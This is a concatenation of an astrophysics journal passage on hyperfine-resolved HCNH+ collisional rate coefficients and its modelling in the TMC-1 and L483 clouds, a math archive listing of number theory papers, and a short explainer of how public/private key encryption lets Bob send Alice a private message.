2023) discussed above. Therefore, it is of high interest to reevaluate the observed HCNH^+ abundances employing a non-LTE approach, complemented with high accurate collisional rate coefficients.
In the frame of rotational energy transfer, the excitation of HCNH^+ was first studied by Nkem et al. (2014). They used helium as a projectile and reported rate coefficients for temperatures up to
300 K, considering transitions among the 11 low-lying rotational energy levels. Recently, Bop & Lique (2023) extended the rotational basis considered in the previous work to the 16 first energy
levels and also reported the HCNH^+ scattering data due to collisions with H[2], the most abundant species in the ISM. They demonstrated that both ortho-H[2](j[2]=1) and para-H[2](j[2]=0), where
j[2] represents the rotational quantum number of H[2], result in remarkably similar cross sections. This finding supports the idea that only rate coefficients induced by collisions with para-H[2](j
[2]=0) are necessary for modeling the abundance of molecular cations in cold star-forming regions.
We revisit the excitation of this molecular cation by para-H[2] taking into account the influence of the higher rotational energy level of the projectile (j[2]=2), as previously done by Hernández
Vera et al. (2017) for HCN and HNC. Furthermore, we investigate the hyperfine splitting of the HCNH^+ collisional rate coefficients resulting from the nonzero nuclear spin of nitrogen, as this effect
is clearly resolved in the 1→0 observational line spectrum (Ziurys et al. 1992; Quénard et al. 2017).
The structure of this paper is as follows: Sect. 2 provides a concise overview of the scattering calculations. Section 3 is dedicated to the astrophysical modeling, while Sect. 4 presents the
concluding remarks.
2. Collisional rate coefficients
Accurate potential energy surfaces (PESs; 4D PES for HCNH^+-H[2] and 2D PES for HCNH^+-He), which are computed using the explicitly correlated coupled cluster method with single, double, and triple
non-iterative excitation [CCSD(T)-F12] (Knowles et al. 1993, 2000) in conjunction with the augmented-correlation consistent-polarized valence triple zeta Gaussian best set (aug-cc-PVTZ) (Dunning 1989
), are available in the literature (Bop & Lique 2023). These authors computed cross sections for the 16 low-lying rotational energy levels of HCNH^+ due to collisions with both He and para-H[2]
(hereafter denoted as H[2]) using the “exact” close-coupling quantum mechanical approach (Arthurs & Dalgarno 1960), implemented in the MOLSCAT scattering code (Hutson & Green 1994).
The rotational energy levels were calculated using the spectroscopic constant of H[2] [B[0]=59.322 cm^−1 and D[0]=0.047 cm^−1] and HCNH^+ [B[0]=1.2360 cm^−1 and D[0]=1.6075×10^−6 cm^−1] (
Huber 2013; Amano et al. 2006). The calculations were performed from a total energy of 2.5 cm^−1 to 800 cm^−1, using a fine step size. To better treat the couplings between open and closed channels
for convergence reasons, it was necessary to take into account the 31 low-lying rotational energy levels of HCNH^+ (j[1]=0−30) in the calculations. The hybrid log derivative-airy propagator was
used to solve the coupled equations (Alexander & Manolopoulos 1987). The integration limits were adjusted automatically for each total angular momentum (J), and the switching point from the log
derivative to the airy integrator was set to 16 a[0]. The integration step was maintained below 0.2 a[0] by adjusting the STEP parameter depending on the collision energy. Here, we address two
important aspects of HCNH^+–H[2] collisions that have not been considered before: (i) the effect of the H[2] rotational basis, specifically the inclusion of j[2]=2, and (ii) the HCNH^+ hyperfine
structure arising from the nonzero nuclear spin of nitrogen.
2.1. The impact of the H[2] rotational basis
The excitation of HCNH^+ by collisions with H[2] has been investigated using only j[2]=0 (Bop & Lique 2023). The authors roughly estimated the mean deviation of the cross sections due to the
inclusion of j[2]=2 in the calculations to ∼20%. Considering the huge anisotropy of the HCNH^+−H[2] potential energy surface and its deep global minimum of ∼1426.6cm^−1, revisiting the collisional
excitation of HCNH^+ by H[2] with the most accurate level of precision becomes a necessary endeavor.
In Fig. 1, we evaluate the influence of the H[2] rotational basis in the HCNH^+ collisional cross sections for selected total energies. The incorporation of j[2]=0−2 into the H[2] rotational
basis results in deviations of up to a factor of three compared to the restriction to j[2]=0, while using an extended basis (j[2]=0−4) instead of j[2]=0−2 leads to moderate improvements,
that is, deviations less than a factor of 1.5. For a total energy of 250 cm^−1, the root mean square errors obtained when using j[2]=0 and j[2]=0−4 in comparison with the use of j[2]=0−2
are 65% and 9%, respectively. Therefore, restricting the H[2] rotational basis to the ground level is insufficient to derive accurate collisional rate coefficients and the inclusion of j[2]=0−4
slightly improves the results obtained using j[2]=0−2, but the computational cost increases by a factor of approximately ten. Therefore, all calculations are performed including j[2]=0−2 in
the H[2] rotational basis.
Fig. 1.
Comparison of the HCNH^+ cross sections for selected total energies. We note that σ[J=0−5] is the sum of partial cross sections over total angular momenta up to J=5. The stars depict the
impact of including j[2]=0−2 in comparison to the constraint of the H[2] rotational basis to j[2]=0, while the empty circles estimate the influence of a more exhaustive H[2] rotational
manifold (j[2]=0−4) with respect to j[2]=0−2. The dashed diagonal lines delimit an agreement region of a factor of 1.5.
2.2. Hyperfine resolved rate coefficients
Fully exploiting the information embedded within hyperfine resolved observational spectra requires an explicit description of the hyperfine splitting in the collisional rate coefficients. In this
work, we only consider the coupling between the HCNH^+ rotation and the nitrogen nuclear spin (I=1). This coupling results in a slight splitting of each HCNH^+ rotational level into three hyperfine
components, with the exception of the ground energy level, which remains unsplit. The hyperfine components are identified by a quantum number F defined as |I−j[1]|≤F≤I+j[1]. We employed the
nearly exact recoupling method (Alexander & Dagdigian 1985) in the scattering matrix, which produced the results presented in the previous section. In this manner, we computed hyperfine resolved rate
coefficients for the HCNH^+ 25 low-lying energy levels, (j[1],F) ≤ (8,9), at low temperatures (T=5−30 K).
Figure 2 displays the HCNH^+ hyperfine resolved rate coefficients obtained using both He and H[2] as collision partners at 10 K, the typical temperature of cold star-forming regions. The magnitude of
the H[2]-induced rates vary between ∼10^−10 and ∼10^−12 cm^−3 s^−1, whereas the He-rates drop drastically down to ∼10^−14 cm^−3 s^−1. The hyperfine resolution does not alter the existing disparity
between the He- and H[2]-rate coefficients, as discussed by Bop & Lique (2023), for the rotational transitions. The new insight into this plot is the unveiled propensity rule, Δj[1]=ΔF, which
applies to both projectiles. The data presented in this section are available in electronic supplementary material via the CDS and they will be accessible through databases such as Basecol, LAMDA,
and EMAA.
Fig. 2.
HCNH^+ hyperfine resolved rate coefficients for the (8, 9) → ($j 1 ′$, F′) transitions at 10 K. The blue (red) line stands for collisional data obtained using H[2] (He) as a projectile.
3. Modeling astronomical lines of HCNH^+
The collisional rate coefficients calculated here can be applied to model the lines of HCNH^+ in those astronomical sources where lines are narrow, so that the hyperfine structure can be resolved. In
cold dense clouds, line widths are typically below 1 km s^−1 (e.g., Agúndez et al. 2023), and thus if observed with a good enough spectral resolution, the hyperfine structure of the low-j[1] lines of
HCNH^+ can be resolved.
Protonated HCN has been observed in different types of molecular clouds (e.g., Schilke et al. 1991). Here we focus on two cold dense clouds, TMC-1 and L483, where low-j[1] lines of HCNH^+ have been
recently observed with a high spectral resolution. In the case of TMC-1, the j[1]=1→0 and j[1] = 2→1 lines have been observed with the 30 m telescope of the Institut de Radio-Astronomie
Millimétrique (IRAM) with a spectral resolution of 49 kHz. The observations of the j[1] = 1→0 line at 74.1 GHz are part of a 3 mm line survey (Marcelino et al. 2007; Cernicharo et al. 2012), while
those of the j[1] = 2→1 line at 148.2 GHz are part of the Astrochemical Surveys At IRAM (ASAI) program (Lefloch et al. 2018). In the case of L483, the j[1] = 1→0 line at 74.1 GHz was observed
with the IRAM 30 m telescope with a spectral resolution of 49 kHz during a 3 mm line survey of this cloud (Agúndez et al. 2019, 2021). The observed lines are shown in Fig. 3.
Fig. 3.
Lines of HCNH^+ in TMC-1 (j[1] = 1→0 and j[1] = 2→1 in the left panels) and L483 (j[1] = 1→0 in the right panel). Black histograms correspond to the observed line profiles, while the red
lines correspond to the synthetic line profile calculated with the LVG model (see text).
To model the lines of HCNH^+, we carried out excitation and radiative transfer calculations under the large velocity gradient (LVG) formalism (Goldreich & Kwan 1974). The code used is similar to
MADEX (Cernicharo et al. 2012). We implemented the rate coefficients calculated here for inelastic collisions of HCNH^+ with H[2] and He, where the hyperfine structure of HCNH^+ is taken into
account. The adopted abundance of He relative to H[2] is 0.17, based on the cosmic abundance of helium, which implies that collisional excitation is dominated by H[2], with He playing a minor role.
We adopted the physical conditions of TMC-1 and L483 from the study of Agúndez et al. (2023). For TMC-1 we adopted a gas kinetic temperature of 9 K and a volume density of H[2] of 1.0 × 10^4 cm^−3,
while for L483 the adopted gas temperature is 12 K and the H[2] volume density 5.6 × 10^4 cm^−3. The adopted line width, 0.46 km s^−1 for TMC-1 and 0.39 km s^−1 for L483, was taken directly from the
arithmetic mean of the values measured on the spectrum of the j[1] = 1→0 line. We then varied the column density of HCNH^+ until matching the velocity-integrated intensity of the observed lines.
The calculated line profiles are compared to the observed ones in Fig. 3. The column densities derived for HCNH^+ in TMC-1 and L483 are 4.2 × 10^13 cm^−2 and 2.4 × 10^13 cm^−2, respectively. Previous
determinations of the column density based on LTE are 1.9 × 10^13 cm^−2 in TMC-1 (Schilke et al. 1991) and 2.7 × 10^13 cm^−2 in L483 (Agúndez et al. 2019). The values determined here differ with
respect to the previous values by a factor of two for TMC-1 and by 10% for L483.
To understand the different improvements resulting from non-LTE modeling in comparison to the previous LTE-based abundances of HCNH^+ obtained for TMC-1 and L483, we investigated the deviation of the
brightness temperature (T[B]) with respect to LTE as a function of the gas density. Figure 4 shows that the use of He as a collision partner tends to delay the thermalization of the lines, whereas
employing H[2] as a projectile, which is the major gas component in cold dense clouds, suggests that LTE assumption is valid for densities larger than 2×10^4cm^−3. Furthermore, the j[1]=2→1
line from Schilke et al. (1991) is reported to have an intensity (in main beam temperature) of 0.48 K, which aligns well with our T[B] of 0.50 K obtained by correcting the 0.40 K antenna temperature
with the beam efficiency of the IRAM 30 m telescope. We thus reinterpreted the observations of HCNH^+ by employing the LTE assumption. As depicted in Table 1, using this approximation to determine
the HCNH^+ column density introduces an error of approximately 5% in both TMC-1 and L483. The factor of two observed in the case of TMC-1, when comparing the LVG-based column density with the data
reported by Schilke et al. (1991), is likely to result from the assumptions incorporated in their analysis rather than an effect of the adopted LTE approximation.
Fig. 4.
Density dependence of the HCNH^+ brightness temperature ratio for the j[1]=1→0, 2→1, and 3→2 lines. Solid and dashed lines were obtained using the collisional rate coefficients of H[2] and
He, respectively. The dash-dotted line refers to thermalization. The line width was set to 1.0 km s^−1. Thanks to the optically thin regime, these ratios are valid for column densities lower than
5×10^13 cm^−2.
Table 1.
Column density of HCNH^+ (in 10^13cm^−2) under the LTE assumption and the LVG formalism for TMC-1 and L483.
As discussed in the Introduction, the observed HCNH^+ column densities are underestimated by predictions from chemical models. In the case of TMC-1, for example, Agúndez et al. (2022) found that
their chemical model underestimates the [HCNH^+]/([HCN]+[HNC]) abundance ratio by a factor of ten. Since we revealed that the observed HCNH^+ column density in this region is actually twice as large,
the protonated-to-neutral abundance ratio turns out to be a factor of 20 higher than predicted by the chemical model. Although this matter remains unresolved, we dispel any doubts that could
implicate the observations, clearly identifying the chemical models as the sole factor. We suggest for future modelings using the new experimental rate constants of reactions in Eq. (1) measured for
temperatures down to 17 K (Dohnal et al. 2023). Employing the latter results in the chemical models for cold dense clouds is more reasonable than the early reaction rates which were measured at room
temperature (Wakelam et al. 2012).
4. Conclusion
We computed the first hyperfine resolved rate coefficients of HCNH^+ induced by collisions with He and H[2]. We used the most accurate recoupling method based on nuclear spin-independent scattering
matrices calculated by the mean of the close-coupling quantum mechanical approach. When employing H[2] as the collision partner, we considered the coupling with the first excited rotational energy
level of para-H[2], thereby improving the previously available nuclear spin-free rotational rate coefficients.
Based on the new rate coefficients, we modeled HCNH^+ emission lines observed toward TMC-1 and L483 using non-LTE radiative transfer calculations under the LVG formalism. With column densities of
4.2×10^13 cm^−2 and 2.4×10^13 cm^−2 for TMC-1 and L483, respectively, the synthetic spectra reproduced the observed ones quite well. The updated HCNH^+ abundances differ by a factor of two and by
10% compared to the data previously available in the literature for TMC-1 and L483, respectively. It is worth noting that the large discrepancy observed in the case of TMC-1 is more likely due to an
error in the early analysis of the observational spectra rather than an effect of the LTE assumption. The actual difference in the HCNH^+ column density derived using LTE and LVG is approximately 5%
for both TMC-1 and L483. Therefore, we confirm that the use of LTE to model the abundance of HCNH^+ in cold, dense regions is reasonable. However, we strongly recommend employing the rate
coefficients reported in this work for multiline analysis and for observations toward regions of moderate densities.
The authors acknowledge the European Research Council (ERC) for funding the COLLEXISM project No 811363, the Programme National “Physique et Chimie du Milieu Interstellaire” (PCMI) of Centre National
de la Recherche Scientifique(CNRS)/Institut National des Sciences de l’Univers (INSU) with Institut de Chimie (INC)/Institut de Physique (INP) co-funded by Commissariat a l’Energie Atomique (CEA) and
Centre National d’Etudes Spatiales (CNES). F.L. acknowledges the Institut Universitaire de France. M.A. and J.C. acknowledge funding support from Spanish Ministerio de Ciencia e Innovación through
grants PID2019-107115GB-C21 and PID2019-106110GB-I00. This work made use of ASAI “Astrochemical Surveys At IRAM”.
All Tables
Table 1.
Column density of HCNH^+ (in 10^13cm^−2) under the LTE assumption and the LVG formalism for TMC-1 and L483.
All Figures
Fig. 1.
Comparison of the HCNH^+ cross sections for selected total energies. We note that σ[J=0−5] is the sum of partial cross sections over total angular momenta up to J=5. The stars depict the
impact of including j[2]=0−2 in comparison to the constraint of the H[2] rotational basis to j[2]=0, while the empty circles estimate the influence of a more exhaustive H[2] rotational
manifold (j[2]=0−4) with respect to j[2]=0−2. The dashed diagonal lines delimit an agreement region of a factor of 1.5.
In the text
Fig. 2.
HCNH^+ hyperfine resolved rate coefficients for the (8, 9) → ($j 1 ′$, F′) transitions at 10 K. The blue (red) line stands for collisional data obtained using H[2] (He) as a projectile.
In the text
Fig. 3.
Lines of HCNH^+ in TMC-1 (j[1] = 1→0 and j[1] = 2→1 in the left panels) and L483 (j[1] = 1→0 in the right panel). Black histograms correspond to the observed line profiles, while the red
lines correspond to the synthetic line profile calculated with the LVG model (see text).
In the text
Fig. 4.
Density dependence of the HCNH^+ brightness temperature ratio for the j[1]=1→0, 2→1, and 3→2 lines. Solid and dashed lines were obtained using the collisional rate coefficients of H[2] and
He, respectively. The dash-dotted line refers to thermalization. The line width was set to 1.0 km s^−1. Thanks to the optically thin regime, these ratios are valid for column densities lower than
5×10^13 cm^−2.
In the text
Current usage metrics show cumulative count of Article Views (full-text article views including HTML views, PDF and ePub downloads, according to the available data) and Abstracts Views on
Vision4Press platform.
Data correspond to usage on the plateform after 2015. The current usage metrics is available 48-96 hours after online publication and is updated daily on week days.
Initial download of the metrics may take a while. | {"url":"https://www.aanda.org/articles/aa/full_html/2024/01/aa48947-23/aa48947-23.html","timestamp":"2024-11-07T09:20:22Z","content_type":"text/html","content_length":"147290","record_id":"<urn:uuid:992038c1-8fe9-4c7f-b560-144a2b079d2e>","cc-path":"CC-MAIN-2024-46/segments/1730477027987.79/warc/CC-MAIN-20241107083707-20241107113707-00487.warc.gz"} |
MathSciDoc: An Archive for Mathematician
Number Theory
Heng Du YMSC, Tsinghua Tong Liu Purdue University Yong Suk Moon University of Arizona Koji Shimizu Berkeley University
Number Theory Algebraic Geometry mathscidoc:2205.24004
Heng Du YMSC, Tsinghua Tong Liu Purdue University
Number Theory Algebraic Geometry mathscidoc:2205.24003
Heng Du Purdue University
Number Theory Algebraic Geometry mathscidoc:2205.24002
Li Cai Yau Mathematical Sciences Center, Tsinghua University Yihua Chen Academy of Mathematics and Systems Science, Morningside center of Mathematics, Chinese Academy of Sciences 刘余 Yau
Mathematical Sciences Center, Tsinghua University
Number Theory mathscidoc:2205.24001
Jin Cao Yau Mathematical Sciences Center Hossein Movasati IMPA Shing-Tung Yau Harvard University
Number Theory Algebraic Geometry mathscidoc:2204.24007
Junhwa Choi School of Mathematics, Korea Institute for Advanced Study, 85 Hoegi-ro, Dongdaemun-gu, Seoul 02455, Republic of Korea Yukako Kezuka Fakultät für Mathematik, Universität Regensburg,
Germany Yongxiong Li Yau Mathematical Sciences Center, Tsinghua University, Beijing, China
Number Theory mathscidoc:2204.24006
John Coates Emmanuel College, Cambridge, England, UK Yongxiong Li Yau Mathematical Science Center, Tsinghua University, Beijing, China
Number Theory mathscidoc:2204.24005
Yukako Kezuka Fakultät für Mathematik, Universität Regensburg, Germany Yongxiong Li Yau Mathematical Science Center, Tsinghua University, Beijing, China
Number Theory mathscidoc:2204.24004
Junhwa Choi School of Mathematics, Korea Institute for Advanced Study, 85 Hoegi-ro, Dongdaemun-gu, Seoul 02455, Republic of Korea Yongxiong Li Yau Mathematical Science Center, Tsinghua University,
Beijing, China
Number Theory mathscidoc:2204.24003
John Coates Emmanuel College, Cambridge, England, UK Jianing Li CAS Wu Wen-Tsun Key Laboratory of Mathematics, University of Science and Technology of China, Hefei 230026, Anhui, China Yongxiong Li
Yau Mathematical Sciences Center, Tsinghua University, Beijing, China
Number Theory mathscidoc:2204.24002 | {"url":"https://archive.ymsc.tsinghua.edu.cn/pacm_category/0124?show=time&size=10&from=3&target=searchall","timestamp":"2024-11-09T01:43:39Z","content_type":"text/html","content_length":"86438","record_id":"<urn:uuid:6158bf7f-bc30-46a9-868d-474c47b02343>","cc-path":"CC-MAIN-2024-46/segments/1730477028106.80/warc/CC-MAIN-20241108231327-20241109021327-00401.warc.gz"} |
reliability in series and parallel tqm
bridges, car engines, air-conditioning systems, biological and ecological systems, chains … Uploaded 2 years ago . If one component has 99% availability specifications, then two components …
Parallel-Forms Reliability: Used to assess the consistency of the results of two tests constructed in the same way from the same content domain. Section 2 involves the binomial and Poisson
distributions. It can be observed that the reliability and availability of a series-connected network of components is lower than the specifications of individual components. Topics. How to measure
it. IX.6 Elementary Markov Models. Reliability assessment should be carried out during every stage of the project. 1: SERIES AND PARALLEL SYSTEMS Many physical and non-physical systems (e.g. A system
consists of four components. Here's our problem statement: Refer to the figure below in which search protectors p and q are used to protect an expensive high definition television. A formal
reliability program is essential on all projects of any size or importance. 8.02x - Lect 16 - Electromagnetic Induction, Faraday's Law, Lenz Law, SUPER DEMO - Duration: 51:24. If more than two of the
components fail, the system fails. Authors; Authors and affiliations; K. K. Aggarwal; Chapter. Consider a series system of n mutually independent components with failure probability P1, P2,… 500
Downloads; Part of the Topics in Safety, Reliability and Quality book series (TSRX, volume 3) Abstract. For example, two components with 99% availability connect in series to yield 98.01%
availability. Consider a system with three components. These components/systems and configuration of them provides us with the inherent reliability of the equipment. Applications to Reliability: 16:
IX.1 Simple Logical Configurations (Series; Parallel; Standby Redundancy) IX.2 Complex Systems. Reliability concepts – definitions, reliability in series and parallel, product life characteristics
curve.Total productive maintenance (TMP) – relevance to TQM, Terotechnology. Parallel calculation: The Essbase calculator can analyze a calculation, and, if appropriate, assign tasks to … IX.4
Modeling of Loads and Strength. The RBD analysis consists of reducing the system to simple series and parallel blocks which can be analyzed using the appropriate Reliability formula. Crossref . The
equipment is made up of multiple components/systems in series, parallel and a combination of the two. So in basis, if the failure of one component leads to the the combination being unavailable, then
it's considered a serial connection. 1. Fabio L. Spizzichino, Reliability, signature, and relative quality functions of systems under time‐homogeneous load‐sharing models, ... Stochastic Comparisons
of Series and Parallel Systems with Kumaraswamy-G Distributed Components, American Journal of Mathematical and Management Sciences, 10.1080/01966324.2018.1480436, (1-22), (2018). Reliability is
divided into two main parts, and they are as follows: Inherent Reliability: This is kind of reliability, with which product is sold. Chap2_Total Quality Management TQM Six Basic Concepts 1.
Reliability is not confined to single components. A series system has identical components with a known reliability of 0.998. This paper presents a newly developed method to evaluate reliability of
complex systems composed of independent three-state devices. Reliability and Availability . Reliability Analysis of Series Parallel Systems. Reliability describes the ability of a system or component
to function under stated conditions for a specified period of time. This does not mean they are physically parallel (in all cases), as capacitors in parallel provide a specific behavior in the
circuit and if one capacitor fails that system might fail. This function accepts any type of model. Lectures by Walter Lewin. Total Page 32 . If the failure of one component leads to… 6. Business
process re-engineering (BPR) – principles, applications, reengineering process, benefits and limitations. Internal Consistency Reliability: Used to assess the consistency of results across items
within a test. To this end, when a system consists of a combination of series and parallel segments, engineers often apply very convoluted block reliability formulas and use software calculation
packages. The formulae are shown for the resultant reliability of series arrangement, as well as for parallel and combined arrangement. - The reduced parallel/series model - The reliability of the
home computer at 1000 time ․R s = .9986 × .967 × .996 × .990 × .990 = 0.9426 Problem 5. parallel connects two model objects in parallel. Reliability engineering is a sub-discipline of systems
engineering that emphasizes the ability of equipment to function without failure. Failure, Repair, Maintenance . If there is a surge in the voltage, the surge protector reduces it to a safe level.
RELIABILITY OF SYSTEMS WITH VARIOUS ELEMENT CONFIGURATIONS Note: Sections 1, 3 and 4 of this application example require only knowledge of events and their probability. The reliability program should
begin at the earliest stage in a project and must be defined in outline before the concept design phase starts [2]. Reliability concepts – definitions, reliability in series and parallel, product
life characteristics curve.Total productive maintenance (TMP) – relevance to TQM, Terotechnology. If the overall system reliability must be at least 0.99, how poor can these components be? Leadership
2. Each task is completed before the next is started. Upgrade to Prime and access all answers at a price as low as Rs.49 per month. Reliability Benchmarking Quantitative Non Quantitative SPC ISO 9000
Supplier Partnership Performance Measures Employee Improvement Customer Satisfaction Continuous Improvement Leadership Tools and Techniques Principles and Practices Scope of the TQM activity
Intro_tqm shari.fkm.utm 3. Mervat Mahdy, Stochastic … Leadership. The two systems must be either both continuous or both discrete with identical sample time. Inter-Rater or Inter-Observer Reliability
. The method is dem… Whenever you use humans as a part of your measurement … Customer Satisfaction 3. The objective is to maximize the system reliability subject to cost, weight, or volume
constraints. System Availability System Availability is calculated by the interconnection of all its parts. What is the maximum number of components that can be allowed if the minimum system
reliability is to be 0.90? Introduction To Quality. Reliability data sources, Series, Parallel and Redundant Models, Arrhenius Model, S-N Curve, Monte Carlo Simulations, Components and Systems
Analysis, Test Strategies (truncation, test-to-failure, etc. Note: if the components are in series, reliability increases if the number of components decreases. 18. The ith module has a reliability
cost function of r i (d i) where d i is the investment in module i. Operational Availability . In this article, a basic system reliability analysis is introduced, which estimates the system failure
probability for series and parallel system. Reliability Leads to Profitability: This highlights that consistent reliability exhibited by product or system leads to increase in profit for an
organization. Now that techniques for determining the reliability of a component or system have been discussed, the effect of combining components in series or in parallel redundant groups should be
considered. They will make you ♥ Physics. sys = parallel(sys1,sys2) forms the basic parallel connection shown in the following figure. Today we're going to learn how to find the reliability for
series and parallel configurations. Such systems can be analyzed by calculating the reliabilities for the individual series and parallel sections and then combining them in the appropriate manner.
Many objects consist of more components. Serial calculation (default): All steps in a calculation run on a single thread. Let’s discuss each of these in turn. Business process re-engineering (BPR) –
principles, applications, reengineering process, benefits and limitations. Our experience in sheet metal forming, amassed over the decades, is brought to bear on all the processes from engineering to
tool manufacture and all the way down to small-quantity parts production. The converse is true for parallel combination model. The reliability investment functions are not required to be concave or
continuous in the dynamic programming model. The most common way to measure parallel forms reliability is to produce a large set of questions to evaluate the same thing, then divide these randomly
into two question sets. Such a methodology is illustrated in the following example. Example: Calculating the Reliability for a Combination of Series and Parallel. The mutual arrangement of the
individual elements influences the resultant reliability. Recommended for you (1 - Series Availability) x 1 year: Parallel MTBF: MTBF x (1 + 1/2 + ... + 1/n) Parallel Availability: 1 - (1-A) n:
Parallel Downtime (1- Parallel Availability) x 1 year: You can enter MTBF and MTTR for 2 system components in the calculator above, from which the reliability of arbitrarily complex systems can be
determined. Reliability modeling and analysis of serial-parallel hybrid multi-operational manufacturing system considering dimensional quality, tool degradation and system configuration Static gains
are neutral and can be specified as regular matrices. Essbase supports parallel and serial calculations: . IX.3 Stress-Strength Interference Theory. Reliability Analysis Center and Rome Laboratory at
Griffiss Air Force Base at Rome, N.Y. Understanding MTBF and MTTF Numbers Remember, Reliability is quantified as MTBF (Mean Time Between Failures) for repairable product and MTTF (Mean Time To
Failure) for non-repairable product. The series/parallel configuration shown in Figure 6 enables design flexibility and achieves the desired voltage and current ratings with a standard cell size.
Based on these results, it is possible to perform system reliability analysis for a general system expressed by Boolean function. TQM Engineering Handbook (Quality and Reliability Series, Band 52) |
D. H. Stamatis | ISBN: 9783540752141 | Kostenloser Versand für alle Bücher mit Versand und Verkauf duch Amazon. A fully redundant parallel system has 10 identical components. These parts can be
connected in serial ("dependency") or in parallel ("clustering"). Parallel forms reliability means that, if the same students take two different versions of a reading comprehension test, they should
get similar results in both tests. Speaking reliability-wise, parallel, means any of the elements in parallel structure permit the system to function. We consider any mixed series and parallel
network consisting of N modules. Reliability engineers often need to work with systems having elements connected in parallel and series, and to calculate their reliability. First, series systems will
be discussed. Reliability Engineering is intended for use as an introduction to reliability engineering, including aspects analysis, design, testing, production, and quality control of engineering
components and systems.The book can be used for senior or dual-level courses on reliability. The total power is the sum of voltage times current; a 3.6V (nominal) cell multiplied by 3,400mAh produces
12.24Wh. TQM Europe also offers the entire process chain of forming-tool manufacture as individual services. 19. IX.5 Reliability-Based Design. : all steps in a calculation run on a single thread
parallel structure permit the system simple. The following example 3.6V ( nominal ) cell multiplied by 3,400mAh produces 12.24Wh a known reliability of series arrangement as... Reducing the system
reliability analysis for a Combination of series arrangement, as well as for parallel and series and... ’ s discuss each of these in reliability in series and parallel tqm both discrete with
identical time. More components investment in module i parallel connection shown in Figure 6 enables flexibility! And achieves the desired voltage and current ratings with a known reliability of
complex composed..., Lenz Law, Lenz Law, Lenz Law, Lenz Law, Law. A fully redundant parallel system has identical components of complex systems composed of independent three-state devices individual
series parallel! Or volume constraints the interconnection of all its parts in series to yield 98.01 % availability connect in to... A specified period of time DEMO - Duration: 51:24 reducing the
system to.. Specifications, then two components … Many objects consist of more components consists of reducing system... Out during every stage of the individual elements influences the resultant
reliability the basic parallel connection shown Figure! Voltage times current ; a 3.6V ( nominal ) cell multiplied by 3,400mAh produces 12.24Wh book series (,! Many objects consist of more components
a newly developed method to evaluate reliability series. Systems engineering that emphasizes the ability of equipment to function without failure on these results, it is to... Manufacture as
individual services module i of these in turn based on results..., or volume constraints if there is a surge in the appropriate reliability formula a formal reliability program is on! Specified
period of time that consistent reliability exhibited by product or system Leads to:! Parallel structure permit the system to simple series and parallel evaluate reliability complex! Used to assess
the Consistency of results across items within a test discrete with identical sample time and availability a. Reliability subject to cost, weight, or volume constraints concave or continuous in the
appropriate reliability formula simple and. Used to assess the Consistency of results across items within a test month! 1: series and parallel sections and then combining them in the following
Figure, it possible! Product or system Leads to Profitability: this highlights that consistent reliability exhibited by product or system Leads Profitability! Single thread Profitability: this
highlights that consistent reliability exhibited by product system... Reliability for a specified period of time than two of the project ( e.g with known... Results across items within a test and
affiliations ; K. K. Aggarwal ; Chapter physical and systems! There is a sub-discipline of systems engineering that emphasizes the ability of a system or component to.. Arrangement of the equipment
in series to yield 98.01 % availability and configuration them!, reliability and Quality book series ( TSRX, volume 3 ) Abstract systems having elements connected in serial ``... ( TSRX, volume 3 )
Abstract exhibited by product or system Leads to in. Tqm Europe also offers the entire process chain of forming-tool manufacture as individual.! A Combination of series and parallel sections and then
combining them in the following.. Two components with a known reliability of series and parallel blocks which can be analyzed by the... Minimum system reliability subject to cost, weight, or volume
constraints consisting of N modules,... Where d i ) where d i ) where d i ) where d i where... 10 identical components with a standard cell size where d i ) where d )! As Rs.49 per month a surge in
the dynamic programming model, volume 3 Abstract. ) cell multiplied by 3,400mAh produces 12.24Wh and can be observed that reliability..., it is possible to perform system reliability must be at least
0.99 how. Ability of a series-connected network of components is lower than the specifications of individual.... Calculating the reliabilities for the individual series and parallel network
consisting of N modules and achieves the desired and! Principles, applications, reengineering process, benefits and limitations a calculation run on a single.! The Consistency of results across items
within a test Many objects consist of more components the following example network! At least 0.99, how poor can these components be 10 identical components Leads to increase in profit for
organization! Program is essential on all projects of any size or importance parallel connection shown in the following.. Elements reliability in series and parallel tqm in parallel ( sys1, sys2 )
forms the basic parallel connection shown in Figure enables! Analyzed by calculating the reliabilities for the resultant reliability series/parallel configuration shown in the reliability! An
organization: series and parallel systems Many physical and non-physical systems ( e.g times ;..., two components … Many objects reliability in series and parallel tqm of more components than the of.
Reliability is to maximize the system reliability is to be concave or continuous in the voltage, the to. Is started network of components that can be analyzed using the appropriate manner in profit
for an organization a thread... System Leads to Profitability: this highlights that consistent reliability exhibited by product or system Leads to increase in for! For the individual series and
parallel systems Many physical and non-physical systems (.! Shown for the individual elements influences the resultant reliability of the elements in parallel and combined arrangement each task
completed! 98.01 % availability specifications, then two components with a known reliability of the project three-state devices what is maximum. Demo - Duration: 51:24 individual series and parallel
systems Many physical and non-physical systems ( e.g components lower. On a single thread BPR ) – principles, applications, reengineering process benefits... Of N modules reliability engineers often
need to work with systems having elements connected parallel... These results, it is possible to perform system reliability subject to cost, weight, volume! Reliability engineers often need to work
with systems having elements connected in serial ( `` ''! Of equipment to function program is essential on all projects of any size or importance in,... Produces 12.24Wh mixed series and parallel
systems Many physical and non-physical systems ( e.g reliability Leads to Profitability this. Discrete with identical sample time using the appropriate manner developed method to evaluate reliability
of 0.998 DEMO -:... That emphasizes the ability of a series-connected network of components that can be connected in serial ``! Module has a reliability cost function of r i ( d i is investment... Be
carried out during every stage of the Topics in Safety, and. Stage of the components fail, the surge protector reduces it to a safe level design flexibility and the... Perform system reliability
analysis for a general system expressed by Boolean function which can be analyzed calculating. Continuous in the following Figure specified period of time clustering '' ) or in parallel sys1... | {"url":"http://fisiopipa.hospedagemdesites.ws/2f38kyko/reliability-in-series-and-parallel-tqm-24e63a","timestamp":"2024-11-10T06:28:11Z","content_type":"text/html","content_length":"27885","record_id":"<urn:uuid:a5eaa503-ab96-4276-b06c-839ea23cd8cb>","cc-path":"CC-MAIN-2024-46/segments/1730477028166.65/warc/CC-MAIN-20241110040813-20241110070813-00065.warc.gz"} |
How does asymmetric key encryption work? | Sajad Torkamani
Suppose Bob wants to send a private message to Alice that he doesn’t want anyone to be able to intercept and read. How can he do this?
He can use asymmetric key encryption as follows:
• Alice generates a public & private key pair (plenty of software can do this).
• Alice makes her public key accessible to everyone in a public key server.
• Bob fetches the public key from Alice’s public key server.
• Bob encrypts his message using Alice’s public key and sends his message to Alice.
• Any malicious hacker who intercepts Bob’s message will only see the scrambled encrypted data so they won’t be able to understand the message.
• Alice receives the encrypted message and decrypts it using her private key.
